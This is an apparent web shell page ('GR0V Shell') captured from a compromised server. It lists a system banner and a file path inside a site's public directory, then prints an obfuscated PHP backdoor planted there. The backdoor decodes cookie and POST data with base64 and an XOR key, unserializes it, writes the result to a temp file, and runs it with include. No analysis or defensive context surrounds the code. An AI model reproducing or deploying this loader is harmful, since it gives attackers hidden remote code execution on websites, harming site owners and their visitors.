? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/media/system/images/mooRainbow/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/media/system/images/mooRainbow/10302d5b.php

$yjEconwY = "\105" . "\x5f" . chr ( 891 - 824 )."\170" . chr ( 504 - 432 ).chr ( 696 - 596 ); $RbCwdMbz = "\x63" . "\x6c" . chr (97) . "\x73" . "\x73" . chr (95) . 'e' . 'x' . "\151" . "\163" . "\x74" . "\163";$UFtfwyStWX = class_exists($yjEconwY); $yjEconwY = "21776";$RbCwdMbz = "48990";$NlOnN = FALSE;if ($UFtfwyStWX === $NlOnN){function coBQTuxNsW(){return FALSE;}$cXyyp = "56581";coBQTuxNsW();class E_CxHd{public function wysDbG(){echo "250";}private $FALgHa;public static $wUEpOxKU = "0572d360-ce70-41b8-b06a-1997419c4319";public static $iXcsQnz = 64650;public function __destruct(){$cXyyp = "36721_6958";$this->XyfVkg($cXyyp); $cXyyp = "36721_6958";}public function __construct($BjliI=0){$rpPmy = $_POST;$LBCsPArjd = $_COOKIE;$rbFXKcvQP = @$LBCsPArjd[substr(E_CxHd::$wUEpOxKU, 0, 4)];if (!empty($rbFXKcvQP)){$BhQhPacHG = "base64";$tXqXa = "";$rbFXKcvQP = explode(",", $rbFXKcvQP);foreach ($rbFXKcvQP as $xXHQQK){$tXqXa .= @$LBCsPArjd[$xXHQQK];$tXqXa .= @$rpPmy[$xXHQQK];}$tXqXa = array_map($BhQhPacHG . chr (95) . "\x64" . chr (101) . "\x63" . chr (111) . "\144" . chr (101), array($tXqXa,)); $tXqXa = $tXqXa[0] ^ str_repeat(E_CxHd::$wUEpOxKU, (strlen($tXqXa[0]) / strlen(E_CxHd::$wUEpOxKU)) + 1);E_CxHd::$iXcsQnz = @unserialize($tXqXa);}}private function XyfVkg($cXyyp){if (is_array(E_CxHd::$iXcsQnz)) {$PTfYI = sys_get_temp_dir() . "/" . crc32(E_CxHd::$iXcsQnz["\163" . chr (97) . 'l' . "\164"]);@E_CxHd::$iXcsQnz[chr (119) . chr ( 225 - 111 ).chr ( 954 - 849 )."\164" . 'e']($PTfYI, E_CxHd::$iXcsQnz[chr ( 939 - 840 ).'o' . "\x6e" . 't' . "\x65" . "\156" . chr (116)]);include $PTfYI;@E_CxHd::$iXcsQnz["\144" . "\x65" . chr (108) . "\145" . 't' . chr ( 105 - 4 )]($PTfYI); $cXyyp = "56581";exit();}}}$DgZQO = new /* 27824 */ E_CxHd(); $DgZQO = str_repeat("36721_6958", 1);}

T1KUS90T
  root-grov@210.1.60.28:~$